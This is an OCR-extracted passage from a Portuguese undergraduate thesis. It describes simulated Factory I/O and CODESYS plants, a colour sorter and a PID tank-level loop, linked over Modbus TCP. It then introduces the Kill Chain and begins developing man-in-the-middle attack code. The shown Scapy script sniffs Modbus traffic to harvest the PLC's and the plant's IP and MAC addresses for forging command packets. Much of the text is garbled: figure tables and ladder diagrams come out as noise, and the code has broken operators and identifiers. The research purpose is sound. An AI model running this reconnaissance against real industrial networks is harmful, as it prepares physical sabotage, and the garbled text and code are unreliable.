“% application.comandos.Botao_Reset k] Bit3 BeINE3 BOOL 0x0003
=T Channel 1 %eQE0 ARRAY [0..1] OF BYTE Write Multiple Coils
=T Channel 1[0] %QE0 BYTE Write Multiple Coils
" Appiication. PRINCIPAL.ESTEIRA_IN "% Bit0 EEr= BOOL 0%0000
"§ Appiication. PRINCIPAL.ESTEIRA_OUT Y Bit1 LI BOOL 0x0001
" Application. PRINCIPAL . stophlade ] Bit2 240M0.2 BOOL 0x0002
K@ Application. PRINCIPAL.E1_TURN "% Bit3 B3 BOOL 0x0003
" Application. PRINCIPAL.E1_ON " Bit4 240%0-4 BOOL 0x0004
" Application.PRINCIPAL.E2_TURN "% Bit5 LS BOOL 0x0005
" Appiication. PRINCIPAL.E2_ON "% Bit6 EIr=r BOOL 0x0006
" Application. PRINCIPAL.E3_TURN T Bit7 240M0.7 BOOL 0x0007
=" Channel 1[1] %0B1 BYTE Write Multiple Coils
" Application. PRINCIPAL.E3_ON " Bitd) [IT-UEE-) BOOL 0x0008
" Application.comandos.Luz_start " Bit1 gL BOOL 0x0002
" Appiication.comandos.Luz_Stop " Bit2 SRR BOOL Ox0004
"% Application.comandos.Luz_Reset T Bit3 WS BOOL 0x000B
= Channel 2 %RIW1 ARRAY [0..0] OF WORD Read Input Registers
+- % Application, PRINCIPAL.SENSCR_COR "% Channel 2[0] Sl WORD 00000
=T Channel 3 QW1 ARRAY [0..2] OF WORD \Write Multiple Registers
+- " Application, PRINCIPAL, CONT_1 "% Channel 3[0] EEE-Tat WORD 0%0000
+- " Application, PRINCIPAL.CONT_2 Y Channel 3[1] %02 WORD 0x0001
+--" Application, PRINCIPAL,CONT _3 ] Channel 3[2]  %owWs WORD 0x0002

Fonte: Autor

A estrutura principal do dispositivo pode ser observada na Figura 39, que apre-
senta a arvore de configuragao do projeto no ambiente CODESYS. Nessa arvore é
possivel identificar elementos ja discutidos anteriormente, como a configuragao do
dispositivo de rede e do protocolo de comunicacao, a definicao das tarefas e sim-
bolos, bem como as diferentes rotinas de aplicacao. Para o funcionamento desta
planta, foram desenvolvidos diferentes POUs, cada um com uma fung¢ao especifica,
os quais sao executados de forma sequencial a partir da tarefa principal, deno-
minada MainTask. De forma geral, os programas implementados sao descritos a

seguir:
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o« Comandos: contém a logica associada aos botoes do painel de comando,
especificamente start, stop e reset, controlando o estado geral de operagao

da planta.

o Principal: responsavel pela légica central do sistema, englobando a leitura
do sensor de cor, o acionamento dos atuadores de separagao e a contagem

das pecas para cada rampa.

o Reset__ LD: responsavel pela logica de reinicio da maquina apds uma pa-
rada, garantindo que o sistema retorne a um estado seguro antes de retomar

a operagao.

Figura 39 — Arvore de projeto da estacio de separacio por cor

=) sortin_station_ipc CERT -
= ﬁ Device (CODESYS Control Win V3 x64)
=-E Légica cLp
=L} Application
m Gestor de biblioteca
] COMANDOS (PRG)
] PRINCIPAL (PRE)
] RESET_LD (PRG)
B8 ronfiguracio de simbolos
= @ Configuracdo de tarefas
= @5 MainTask (IEC-Tasks)
] PRINCIPAL
@ comandos
] RESET LD
= mﬁ Ethernet (Ethernet)
= mg Modbus_TCP_Client (Modbus TCP Client)
ﬂj Modbus_TCP_Server (Modbus TCP Server)

Fonte: Autor

Com o objetivo de facilitar a compreensao do funcionamento da planta, a seguir
¢é apresentada uma explicagao da logica principal utilizada no processo de separagao
das pecas.

A légica do sistema foi desenvolvida com base na quantidade de pecas de uma
mesma cor que sao detectadas pelo sensor de visdo e que, posteriormente, atra-

vessam o sensor de saida. Dessa forma, o sistema opera em ciclos de cor. Por
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exemplo, caso cinco pegas da cor cinza sejam identificadas consecutivamente pelo
sensor de cor e, em seguida, uma peca azul seja detectada, a esteira de entrada
é interrompida e a stopblade é acionada, impedindo a entrada de novas pecas até
que todas as cinco pegas cinzas tenham passado pelo sensor de saida. Somente
apos a conclusao desse ciclo a proxima cor ¢ liberada para separacao.

Em situacoes nas quais nao ha acimulo de pecas da mesma cor, o compor-
tamento do sistema varia conforme a sequéncia de detec¢ao. Quando uma tnica
peca azul é detectada e, em seguida, uma peca cinza, nao é necessario interromper
a esteira de entrada nem acionar a stopblade. Assim que a peca azul atravessa
o sensor de saida, o braco correspondente a rampa azul é desligado, permitindo
que a peca da nova cor prossiga pelo sistema. Por outro lado, quando uma peca
verde é detectada e, logo em seguida, uma pega azul, a peca azul permanece retida
na esteira de entrada até que a peca verde atravesse o sensor de saida. Apods a
conclusao desse processo, o sistema libera o acionamento do bracgo correspondente
a nova cor, iniciando um novo ciclo de separacao.

Cada leitura realizada pelo sensor de cor, mapeado nos bytes do Canal 2 como
Application. PRINCIPAL.SENSOR__COR, aciona a logica responsavel pela iden-
tificagdo da cor e pelo comando do brago e da esteira auxiliar correspondentes a
rampa de separacao adequada. A Figura 40 ilustra a primeira etapa dessa légica,
na qual sdo utilizados comparadores para identificar se o valor lido pelo Vision
Sensor corresponde as cores azul, verde ou cinza.

Em seguida, a Figura 41 apresenta a légica de selo utilizada para identificar
o inicio de um novo ciclo de separacao para cada cor. Quando uma peca de
determinada cor é detectada pela primeira vez, o respectivo coil (por exemplo,
PRIMEIRO _AZUL) é acionado e permanece selado enquanto pegas da mesma
cor continuam sendo detectadas. Caso uma peca de cor diferente seja identificada,
o selo da cor anterior é desfeito e o coil correspondente a nova cor é acionado,

iniciando um novo ciclo de separagao.
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QUT_INTERNO
comandos.start

Figura 40 — Identificagdo da cor no sensor
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Fonte: Autor
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Figura 41 — Selo para cada ciclo de cor
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A Figura 42 apresenta a légica de acionamento dos bragos e das esteiras au-
xiliares responsaveis pelo direcionamento das pecas as rampas de separacao. Os
cotls identificados como Fz ON representam as esteiras auxiliares, enquanto os
coils Ex_TURN representam os bracos de direcionamento. Os indices de 1 a 3
correspondem as cores azul, verde e cinza, respectivamente. Assim, quando um
novo ciclo de cor ¢ iniciado, apenas o brago e a esteira auxiliar correspondentes

aquela cor permanecem ativos, enquanto os demais sdao desativados.

Figura 42 — Acionamento dos atuadores

comandos.start PRIMEIRO_AZUL E2_ON E3 ON E1_ON
i i i i e
N 1Nl Il gl ]
EL_TURN
comandos,.start PRIMEIRO_VERDE E1ON E3_ON EZ_ON
i I i i _ g
I I -1 -l ()
E2.ON DESLIGA_E2 E2_TURN
i i T
N {1 ()
COR_AZUL MUDA_COR
o I
Il (]
COR_CINZA
mn
I
comandos.start PRIMEIRO_CINZA E1_ON EZ_ON E3_ON
n n N0 1 I
[ [ gl {1 il
E3 ON DESLIGA_E3 E3_TURN
i i 7
I -1 1
COR_AZUL MUDA_COR
i 7.
1 ()
‘COR_VERDE
M
{0

Fonte: Autor

A contagem das pecas é realizada por meio da comparacao entre a quantidade
de pecas detectadas na entrada e a quantidade de pegas que passam pelo sensor de

saida, como mostrado na Figura 43. A Figura apresenta apenas a contagem das
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pecas azuis, mas as pecas verdes e cinza seguem a mesma légica. Como o mesmo
sensor de saida é utilizado para as trés rampas, a logica de contagem considera

qual brago estd acionado no momento da detecgao.

Figura 43 — Contagem de pegas na entrada e saida

Ul ol
CONT_AZ_SATU COR_zzul au
c1u
comandos.rasst EN o | res=t_ld stop_resst RESET
ql——

BLOCO AU ———aU
CONT_1

reszt_ld.stop_reset

Gurrent counter value
CONT_AZ. OV ———{P

Fonte: Autor

Por fim, a Figura 44 apresenta a logica responsavel pelo desligamento dos bra-
¢os de separacao. Quando uma mudanca de cor é detectada, o sinal MUDA_COR
é ativado. Assim que a contagem de pecas de saida atingir o mesmo valor da conta-
gem de entrada para aquela cor, o contato associado ao comparador de contagem
é fechado, desligando o braco correspondente e finalizando o ciclo de separagao

daquela cor especifica.

Figura 44 — Logica para troca de cor

16

TRUEIf CV == PV

MUDA_COR E2_ON CONT_VERDE_SAIL.Q DESLIGA_E2
| [ IN | [ ()
MUDA_COR
J)
TRUE if CV >= PV
E3_ON CONT_CINZA_SAIU.Q DESLIGA_E3
1 [ 1 [ (]
MUDA_COR
J

Fonte: Autor

Claro que existem ainda outras partes da logica que sao tao importantes quanto

as explicadas no texto. Portanto, estao disponiveis todos os PDFs com as logicas
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dos 3 POUs, além do proprio arquivo com a programacao completa do dispositivo
para ser aberto no Codesys, no repositério GitHub do trabalho [26].°

Também esta disponivel um video de funcionamento da planta, apresentando
o Factory I/O e o Codesys, publicado no YouTube [27].7

3.2.2 Planta de controle de nivel

Assim como a planta de separacao de pegas por cor, a planta de controle de nivel
de tanque também é um ambiente previamente existente na biblioteca do Factory
[/O. Entretanto, novamente, foram realizadas algumas alteragdes com o objetivo
de adequar o funcionamento da planta ao comportamento desejado. A Figura 45
apresenta uma vista geral da planta, destacando seus principais componentes.

As setas laranja indicam o fluxo do produto, com uma entrada localizada na
parte superior do tanque, controlada por uma valvula de enchimento analdgica,
cuja abertura pode variar de 0 a 100%, e uma saida posicionada na lateral inferior
do tanque, controlada por uma valvula de retirada, também analégica, com faixa
de operacao de 0 a 100%. Além disso, a planta conta com sensores analdgicos para
medicao do nivel do tanque e do fluxo na saida da valvula de retirada. No painel
de controle estao dispostos os botoes de comando start, stop e reset, um knob
para ajuste do setpoint desejado, indicadores do setpoint configurado e do nivel
atual do tanque e, por fim, um mddulo sonoro e um moédulo luminoso destinados
a sinalizacao de condi¢oes de alarme.

A planta foi programada de modo que o nivel do tanque se mantivesse proximo
ao setpoint definido pelo knob, o qual foi configurado para operar no intervalo entre
25% de nivel minimo e 80% de nivel maximo. Para isso, o sistema foi configurado
para injetar quantidades aleatorias de agua ao longo do tempo por meio da valvula
de entrada, simulando um enchimento vindo de outro processo. Paralelamente, um
controlador PID é responsavel por avaliar o erro entre o nivel medido e o setpoint
estipulado, ajustando a abertura da valvula de saida de modo a compensar as

variacoes e estabilizar o nivel do tanque.

6 Disponivel em: <https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-Rafael Alvarez/
tree/main/PROGRAMACAO-PLANTAS/ESTACAO_SEPARACAO>
T Disponivel em: <https://www.youtube.com/watch?v=Wf5M-Nr8d-w>


https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/PROGRAMACAO-PLANTAS/ESTACAO_SEPARACAO
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/PROGRAMACAO-PLANTAS/ESTACAO_SEPARACAO
https://www.youtube.com/watch?v=Wf5M-Nr8d-w
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Figura 45 — Planta de controle de nivel do tanque

Level meter

Fonte: Autor

As Figuras 46 e 47 apresentam a configuracdo do protocolo de comunicacao
adotado, neste caso o Modbus TCP no modo servidor, bem como o endereca-
mento das entradas e saidas e a configuracao da rede, incluindo o enderego IP do

dispositivo, o Slave ID e a defini¢do das varidveis digitais e analdgicas.
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Figura 46 — Enderegamento dos I/Os da Planta 2

 DRIVER °

SENSORS

FACTORY I/0 (Paused)
FACTORY I/0 (Reset)
FACTORY I/Q (Running) Start Input 0 Coil 0 Start light
(Time Scale) Reset Input 1 Coil 1 Reset light FACTORY I/O (Reset)
Flow meter Stop |§ Input2 Coil2 | Stoplight FACTORY I/0 (Run)
Level meter Y 1/O (Running} (1 Input3 HoldingReg0 | Fill valve Fill valve
Reset Level meter Input Reg O Helding Reg 1 Discharge valve PV
Flow meter Input Reg 1 Holding Reg 2 S Reset light
Setpoint Input Reg 2 Holding Reg 3
Start light
ght

m Bool Float m Int m Any

Fonte: Autor

Figura 47 — Configuracao de rede da Planta 2

Write Register
|:| Auto start

Input Registers
Host

68.0.169 Read Register

Holding Registers
Port

Slave ID

Network adapter

leomm Atheros QCAG1x4A Wireless Netw

Digital Inputs

Digital Outputs

Write Digital Register Inputs

Inputs v
Register Outputs

Read Digital

Coils ~

Fonte: Autor
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A Figura 46 ilustra o mapeamento das varidveis no Factory 1/0O. A esquerda
encontram-se os sensores, tanto digitais quanto analégicos. Os trés primeiros bits
correspondem aos botdes de comando start, stop e reset, sendo variaveis do tipo
booleanas. Ainda no conjunto de sensores, estdo presentes trés Input Registers
transmitidos ao CLP, correspondentes ao sensor de nivel do tanque, ao sensor de
fluxo na saida e ao knob de ajuste do setpoint. A direita estdo os atuadores, sendo
que os cinco primeiros bits representam as saidas digitais associadas aos indicadores
luminosos dos botoes de comando, bem como ao acionamento do moédulo sonoro
e do médulo luminoso de alarme. Além disso, os Holding Registers sao utilizados
para representar as valvulas de enchimento e retirada, assim como as variaveis

destinadas a indicacao do nivel atual do tanque e do setpoint no painel de controle.

3.2.2.1 Programacao em Ladder da planta

Como feito na programagcao da cena anterior, toda a configuracao de rede foi
realizada de acordo com o apresentado na Figura 23. Tanto o endereco IP do
servidor quanto o Slave ID e a porta de comunicacao foram configurados de forma
idéntica ao que foi definido no Factory 1/0, apresentado anteriormente na Figura
47.

A Figura 48 apresenta a configuragao dos canais das varidveis que serao comuni-
cadas entre o CODESYS e o Factory 1/0, respeitando o mapeamento previamente

definido na Figura 46.

e Canal 0 — Write Multiple Coils (1 byte): destinado a escrita das sa-
idas digitais, sendo atribuidos os trés primeiros bits as luzes dos botoes de
comando e o quarto e o quinto bits a sirene e a lampada de aviso, respecti-

vamente.

o Canal 1 — Read Discrete Inputs (1 byte): configurado para a leitura de
entradas digitais. Neste canal, os bits de 0 a 2 foram atribuidos aos botdes

de comando.

o Canal 2 — Read Input Registers (6 bytes): reservado para a leitura do
sensor de nivel, do sensor de vazao e do knob de setpoint. Essas variaveis sao

do tipo WORD, cada uma ocupando 2 bytes.
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o Canal 3 — Write Multiple Registers (8 bytes): utilizado para a escrita

de multiplos registradores. Esse canal possui 8 bytes de tamanho, corres-

pondendo a quatro variaveis do tipo WORD, cada uma com 2 bytes. Esses

registradores sao utilizados para transmitir ao Factory 1/0 a agao de con-

trole da valvula de saida, os valores de abertura da valvula de entrada e os

valores a serem escritos nos indicadores.

Figura 48 — Mapeamento das variaveis de entrada e saida no CLP da Planta 2

Varidvel Mapeamento  Canal
= T Channel 0
=-T§ Channel 0[]
" Application.comandos.Luz_start " BitD
T Application. comandos.Luz_Reset "% Bitl
"% Application, comandos.Luz_Stop " Bit2
"% Application, alarme, SIRENE "9 Bit3
" Application.logica_prindpal .Lamp " Bit4
. Channel 1
= Channel 1[0]
* Application.comandos.Botao_Start "9 Bitd
*p application, comandos, Botao_Reset " Bit1
*% Application,comandos.Botao_Stop "% Bit2
- Channel 2
+- 4% application.logica_principal Sensor_Nivel " Channel 2[0]
+- 4% ppplication.logica_principal Sensor_Vazao_Saida "% Channel 2[1]
+. 4 application. STPOINT . SetPoint_KNOB " Channel 2[Z]
=-"ip Channel 3
+- g Application.logica_prindpal. Valvula_Enchimenta " Channel 3[0]
+ " Application.logica_principal. Valvula_Retirada "% Channel 3[1]
+- " Application, STPOINT Indicador_SetPoint " Channel 3[2]
+-"p Application. STPOINT. Indicador_Nivel_PRCTG " Channel 3[3]

Enderego
%GB0
%GB0

%I 1
e
EREES
FIETES
QW1
S
hcas
Rt
S

Fonte: Autor

Tipo

ARRAY [0..0] OF BYTE
BYTE

BOOL

BOOL

BOOL

BOOL

BOOL

ARRAY [0..0] OF BYTE
BYTE

BOOL

BOOL

BOOL

ARRAY [0..2] OF WORD
WORD

WORD

WORD

ARRAY [0..3] OF WORD
WORD

WORD

WORD

WORD

Unidade

Descrigdo

Write Multiple Cails
Write Multiple Cails
0x0000

0x0001

0x0002

0x0003

0x0004

Read Discrete Inputs
Read Discrete Inputs
0x0000

0x0001

0x0002

Read Input Registers
0x0000

0x0001

0x0002

Write Multiple Registers
0x0000

0x0001

0x0002

0x0003

A arvore de estrutura do projeto pode ser observada na Figura 49. Como

explicado anteriormente, é nessa estrutura que se configura toda a disposicao do

dispositivo e da aplicacdo. Assim como na planta anterior, foram desenvolvidos

diferentes POUs com funcgoes especificas, os quais sdo executados na MainTask.

Observa-se que a estrutura principal do programa se mantém semelhante a uti-

lizada anteriormente, incluindo os dispositivos de configuracao de Ethernet e do

protocolo Modbus TCP, a configuragao de simbolos, a definicdo de tarefas e os

diferentes programas implementados.



Capitulo 3. Desenvolvimento 87

Figura 49 — Arvore de projeto do controle de nivel do tanque

=izl wvel detangue
= m Device (CODESYS Control Win V3 x64)
=& Légica cLP
=1L} Application
m Gestor de biblioteca

@ alarme (PRE)
@ comandos (PRE)
@ logica_prindipal (PRG)
] STPOINT (PRG)
- Configuracdo de simbolos
= @ Configuracdo de tarefas
= @5 MainTask (IEC-Tasks)
@ comandos
] sTPOINT
@ alarme
@ logica_prindpal
= ﬂjﬁ Ethernet (Ethernet)
= ﬂjg Modbus_TCP_Client (Modbus TCP Client)
ﬂj Modbus_TCP_Server (Modbus TCP Server)

Fonte: Autor

De forma geral, os diferentes POUs implementados sao descritos a seguir:

e« Comandos: mesmo POU utilizado na planta de separacao de pecas, con-

tendo a logica associada aos botoes do painel de comando.

e Logica_ Principal: responsavel pela logica central do sistema, englobando
o controle PID aplicado a valvula de saida, o escalonamento de sinais e a

rotina de injecao aleatéria de agua.

o« STPOINT: responsavel pela logica de alteracao e escalonamento dos valores

de setpoint.

o Alarme: responsavel pela légica de alarme ao atingir niveis criticos.

Com o objetivo de facilitar a compreensao do funcionamento da planta, a seguir
¢ apresentada uma breve explicagdo da légica principal utilizada no processo de

controle de nivel do tanque.
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A légica dessa planta é relativamente simples, girando em torno do escalona-
mento de sinais e do controlador PID responsavel por atuar sobre a valvula de
saida. Além disso, foi implementada uma légica para a insercdo pseudoaleatoéria
de 4gua no tanque, simulando a entrada de produto proveniente de outro processo.

A Figura 50 apresenta o “coracao” do programa, as networks correspondentes
ao escalonamento do valor cru lido pelo CODESYS para um valor de nivel em
centimetros. A figura também ilustra o controlador PID, bem como a légica de
limitagdo do sinal de controle no intervalo de 0 a 1000, uma vez que esse ¢ o

intervalo de leitura do sinal externo utilizado pelo CODESYS.

Figura 50 — Escalonamento do valor de nivel e controlador PID

Escalonamento do sinal de entrada do sensor de nivel

TRUE TO_REAL
11 EN ENO EN ENO|—

_ J/Escalonamenta do nivél para CM
Nivel_REAL Nivel_CM := (Nivel_REAL*3/10};

Sensor_Nivel

SETPOINT_CM := ((STPOINT.SetPoint_REAL™1.8/10}+75);

Controlador PID

FID1
comandos.start nivel_Seguro PID

N ENO

5]

Il I

Nivel_CM ACTUAL A

LIMITS_ACTIVE |
SET_POINT OVERFLOW ———
KP

™

ACAO_CONTROLE

SETPOINT_CM

™
Y_MANUAL
Y_OFFSET
Y_MIN
Y_MAX
MANUAL
RESET

Limitagso da acio de controle

comandos.start nivel_Seguro TO_WORD
1 i 1 -
1 D D I EN ENO EN ENO
Valvula_Retirada

JfLimitacdo da acio de controle de 0 a 1000
J/Range deleitura do Codesys para variaveis analdgicas ACAO_CONTROLE
IF ACAO_CONTROLE < 0.0 THEN

ACAO_CONTROLE := 0.0;
END_IF;

IF ACAO_CONTROLE >1000.0 THEN
ACAO_CONTROLE := 1000.0;
END_IF;

Fonte: Autor

Em seguida, a Figura 51 apresenta os valores dos parametros de controle uti-
lizados no controlador PID. Observa-se que o valor da constante proporcional K,
¢ negativo, o que caracteriza uma agdo de controle reversa, uma vez que, neste
processo, quanto maior a agao de controle, representada pela abertura da valvula

de saida, menor sera o nivel do tanque. As constantes do controlador foram defi-
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nidas com base no método de tentativa e erro, utilizando o conhecimento pratico
adquirido ao longo da graduagao e a compreensao da influéncia de cada parametro

no comportamento dindmico da planta.

Figura 51 — Constantes do controlador PID
17|  PBIDl: BID := (KP:=-50, IN:=10, TW:=0, Y MIN:=-100, ¥ MAX:=1200);

Fonte: Autor

Visto que ¢ invidvel apresentar neste documento a programacao completa de to-
dos os POUs, serao disponibilizados arquivos em formato PDF contendo as logicas
dos quatro POUs implementados, além do arquivo com a programacao completa
do dispositivo no formato .project, o qual pode ser aberto no CODESYS, no re-
positério GitHub do trabalho[26].® Esses materiais tém como objetivo permitir a
compreensao das logicas associadas as demais fungdes do programa, tais como a
abertura pseudoaleatéria da valvula de enchimento, implementada na Network 6
do POU de légica principal, a logica de nivel seguro, presente na Network 1 desse
mesmo POU, bem como as demais rotinas distribuidas entre os outros POUs do
projeto.

Por fim, um video demonstrando o funcionamento da planta, apresentando
simultaneamente o ambiente do Factory 1/0 e o CODESYS, esta disponivel para

visualizagao no Youtube [28].°

3.3 Kill Chain e ponto de partida dos ataques

Antes de partir, de fato, para a construgao dos ciberataques, é importante
compreender a existéncia de um recurso conhecido como Kill Chain. Esse artificio
tem como objetivo explicitar todas as camadas pelas quais um atacante deve passar
até conseguir, efetivamente, realizar um ciberataque. O principio da Kill Chain
consiste em analisar um ataque sob a perspectiva de quem o executa, aliando

monitoramento continuo, uso de inteligéncia e melhorias constantes em todas as

8  Disponivel em: <https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-Rafael Alvarez/
tree/main/PROGRAMACAO-PLANTAS/NIVEL TANQUE>

9 Disponivel em: <https://www.youtube.com/watch?v=0xh2Vh4gqy8>


https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/PROGRAMACAO-PLANTAS/NIVEL_TANQUE
https://github.com/RafaelAlvarezz/TrabalhoDeConclusaoDeCurso-RafaelAlvarez/tree/main/PROGRAMACAO-PLANTAS/NIVEL_TANQUE
https://www.youtube.com/watch?v=0xh2Vh4gqy8
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fases dessa “corrente” [29]. A Figura 52 ilustra esse mecanismo de andlise de
ataques aplicado a ciberseguranca.

Compreender cada etapa desse processo é essencial para garantir o maior nivel
de seguranga possivel em sistemas ciberfisicos. Enquanto o atacante precisa trans-
por todas as barreiras, avancando passo a passo até alcangar o sucesso do ataque,
o defensor necessita impedir esse progresso em apenas uma das etapas. Por meio
do monitoramento continuo de todas as camadas, torna-se possivel compreender o
modus operandi do agente atacante e interrompé-lo em um estagio anterior, antes

que atinja a fase final, na qual ocorre a efetiva agao sobre o alvo do ataque.

Figura 52 — Modelo da Kill Chain aplicado a analise de ciberataques

Reconhecimento Pesquisa, identificaciio e selecio de alvos

Pareamento de malware de acesso remoto com um exploit em
uma carga util distribuivel (por exemplo, arquivos PDF da Adobe
ou do Microsoft Office)

Preparacdo da arma

ransmissdo da “arma” até o alvo (por exemplo, por anexos de

ntrega T issdo da “ " até o al p plo, pr d
e-mail, sites ou dispositivos USB)

Exp lora Cg 0 Apos a entrega, o cddigo da arma € acionado, explorando
aplicagdes ou sistemas vulneraveis

Insta\agﬁo Aarma instala um backdoor no sistema do alvo, permitindo

acesso persistente

Um servidor externo se comunica com a arma, fornecendo

Comando e Controle “acesso direto via teclado” dentro da rede do alvo

W

- I O atacante trabalha para atingir o objetivo da intrusdo, que
Acoes sobre o ObjethO pode incluir exfiltracdo ou destruicdo de dados, ou a intrus&o

em outro alvo

LKL

Fonte: Adaptado de [29]

Isso ¢é relevante para este trabalho, pois o cendrio que sera simulado a seguir
parte do pressuposto de que o atacante ja ultrapassou todas as etapas anteriores da
Kill Chain e se encontra na fase final do processo. Dessa forma, considera-se que
a ac¢ao sobre o objetivo ja esta sendo realizada, isto é, o ciberataque propriamente
dito a uma rede de comunicagao industrial instalada em uma planta. Assim,
deixa-se claro que o objetivo deste trabalho nao é demonstrar a superacdo de

todas as barreiras de seguranca dos dispositivos, nem explorar vulnerabilidades



Capitulo 8. Desenvolvimento 91

especificas de fabricantes de CLPs, mas sim analisar o comportamento das plantas

e do protocolo Modbus TCP mediante a insercao de ataques cibernéticos.

3.4 Desenvolvimento dos cédigos de ataque

Para este trabalho, foram desenvolvidos 4 codigos de ataques diferentes, que se
enquadram em duas classes de ataques. Os Ataques de Injecao de Comando e os
Ataques de injecao de respostas e medigoes. A Figura 53 apresenta o fluxograma
das etapas do desenvolvimento dos codigos de ataque. Sendo assim, a seguir, serao
apresentados os desenvolvimentos dos 4 c6digos, destacando trechos em comum e

suas principais diferencas.

Figura 53 — Fluxograma do desenvolvimento dos cédigos de ataque

—
o CAPTURA ENDEREGOS INTERCEPTAGAO CONSTRUGCAO CAMADAS
NiCIO IP E MAC DOS PACOTES DE INTERESSE DADOS DOS PACOTES MAIS BAIXAS
DISPOSITIVOS

LACO DE ENVIO DE Eihi
PACOTES DE ATAQUE

CONSTRUCAO CAMADA
DE APLICAGAO (ADU)
Fonte: Autor

3.4.1 Captura dos enderecos IP e MAC

O Cédigo 3.4, mostrado abaixo, tem como func¢ao principal realizar o sniff da
rede de comunicagao e capturar os enderegos IP e MAC dos dispositivos que estao
realizando a comunicacao via Modbus TCP. Esses dados sao utilizados posterior-
mente na construgao dos pacotes de ataque. Este trecho é comum para todos os
c6digos de ataque.

Basicamente, o codigo funciona capturando um loop de comunicagao, ou seja,
o conjunto de mensagens de Queries e Responses trocadas entre o CLP e o Factory
I/O. A partir dos pacotes capturados, obtém-se os enderegos IP, os enderegos MAC
dos dispositivos e o tamanho do loop de comunicagdao. Um loop é considerado

fechado quando todos os canais de comunicacao forem utilizados uma vez, inciando
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um novo loop. Portanto, utilizando a planta de controle de nivel, explicada na
Secao 3.2.2.1, como exemplo, um loop de comunicacao é fechado quando todos os
canais, do 0 ao 3, tiverem concluido sua comunicagao, incluindo a requisicao e a
resposta. Um novo loop se inicia novamente a partir do canal 0.

print (" PROCURANDO IP’s E TAMANHO DO LOOP
ENTRE PLC E PLANTA")

function__codes = set ()
transct__ids = set ()

loop__msgs = |[]

# Funcao para identificar quando um ciclo completo de mensagens foi
capturado
def parada_loop_completo (pkt):
# Extrai o codigo de funcao e o ID de transacaoo do pacote Modbus
func_code = pkt[Raw].load [7]
trans id = (pkt[Raw].load [0] << 8) 4+ pkt[Raw].load [1]
# Verifica se ja capturou um ciclo completo de mensagens
if func_ code in function codes and not trans id in transct ids:
return True
else:
function_codes.add (func_ code)
transct__ids.add (trans_id)
loop__msgs . append ( pkt)

return False

# Captura pacotes Modbus/TCP para identificar IPs, enderecos MAC e

ciclo de comunicacao

3 LEITURA_PACOTES_MODBUS = sniff (

iface=iface__
#Filtro para capturar apenas pacotes Modbus/TCP (Layer Raw se
refere a dados da camada de aplicacao (Modbus neste caso))
Ifilter=lambda x: x.haslayer (Raw) and x.haslayer (TCP) and \
((x[Raw].load [2] << 8) + (x[Raw].load[3]) = 0) and (x[TCP].

dport = 502 or x[TCP].sport = 502),
stop_filter=parada_ loop_completo

)
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31 # Descobre os IPs e enderecos MAC do FactorylO e do CLP a partir dos

40
11
42
43
14

pacotes capturados
for pkt in loop_msgs:
if pkt[TCP].dport = 502:
ip_factoryIO = pkt[IP]. dst
ip. CLP = pkt [IP]. src
MAC_factoryIO = pkt[Ether]. dst
MAC_CLP = pkt [Ether]. src

break

print (f"IP FactoryIO: {ip_factoryIO}")
print (f"IP CLP: {ip CLP}")

print (f"MAC FactoryIO: {MAC_factorylO}")
(f"MAC CLP: {MAC _CLP}")

print

45 # Calcula o tamanho do ciclo de comunicacao

16

A7

tamanho_do_loop = len (function_codes) #Quantidade de tipos de msg em
um loop

print (f"Tamanho do loop de comunicacao: {tamanho_do_loop} mensagens")

Codigo 3.4 — Aquisicao de IP e endereco MAC

Para isso, utiliza-se a funcao sniff, na linha 23, configurada com um filtro
de captura e um filtro de parada. A funcdo sniff captura os pacotes que estao
circulando na placa de rede definida como interface, neste caso, a placa de rede do
computador. Para que nao sejam capturados todos os pacotes da rede, mas apenas
os pacotes Modbus TCP, é utilizado o parametro 1filter. Por meio de uma fungao
temporaria lambda, é possivel aplicar o filtro desejado. Neste caso, o filtro garante
que o pacote possua a camada TCP e a camada Raw, que se refere aos dados da
camada de aplicacao, além de verificar se o campo formado pelos bytes 2 e 3 é
igual a zero. Esse campo corresponde ao Protocol Identifier, parte do cabegalho
MBAP que identifica a mensagem como sendo Modbus, conforme apresentado
anteriormente na Tabela 4. Além disso, o filtro restringe a captura apenas aos
pacotes que utilizam a porta 502, padrao do Modbus TCP, tanto na origem quanto
no destino. Além disso, é utilizado o parametro stop_filter, que funciona como
uma condicao de parada da captura de pacotes. Assim que essa funcdo retorna

True, a captura é encerrada. Neste caso, a func¢do parada_loop_completo foi
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programada para identificar quando um mesmo function code se repete com um
Transaction Identifier diferente. Ou seja, quando um canal do mesmo tipo, por
exemplo um Write Multiple Coils, é capturado novamente com um identificador
de transacao diferente daquele ja registrado, a funcao retorna True, encerrando a
captura de pacotes e garantindo que um loop completo de Query e Response tenha
sido capturado.

Os pacotes capturados sao armazenados na lista loop_msgs. A partir dela, é
possivel identificar os enderegos IP e MAC por meio do lago for na linha 32. De
forma simplificada, o c6digo seleciona o primeiro pacote cuja porta de destino da
camada TCP é 502, ou seja, um pacote enviado a planta (Factory 1/O). A par-
tir desse pacote, sao extraidos os enderegos IP e MAC. Na camada IP, o destino
corresponde ao computador que executa o Factory 1/0, enquanto a origem corres-
ponde ao computador que executa o CODESYS. A mesma légica é aplicada para
os enderegos MAC. Por fim, o tamanho do loop de comunicagao é armazenado
na variavel tamanho_do_loop, que indica a quantidade de canais de mensagens

presentes em um ciclo completo de comunicagao.

3.4.2 Ataques de injecao de comando

Como explicado anteriormente na Secao 2.3.1, os ataques de injecao de coman-
dos sao ataques diretos aos atuadores da planta, nos quais o atacante se posiciona
entre o sistema controlado e o controlador, alterando os dados trocados entre eles.
A planta utilizada para o estudo desse tipo de ataque foi a planta de separacao
de pecas, apresentada na Secao 3.2.1. Foram desenvolvidos dois tipos de ataque,
ambos do tipo Man-in-the-Middle, nos quais o atacante envia diretamente dados

manipulados a planta.

3.4.2.1 Interceptacao dos pacotes de interesse

Para construir os pacotes de ataque, foi necessario, inicialmente, capturar pa-
cotes do formato desejado, de modo a compreender como esse envio de pacotes
variava ao longo do tempo e quais campos seriam necessarios para a construgao

de um pacote falso.
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Neste caso, tratando-se de ataques de injecao de comandos diretamente a
planta, o tipo de pacote de ataque a ser construido é um Query Write Multi-
ple Coils (QWMC), que corresponde a um pacote utilizado para escrita de valores
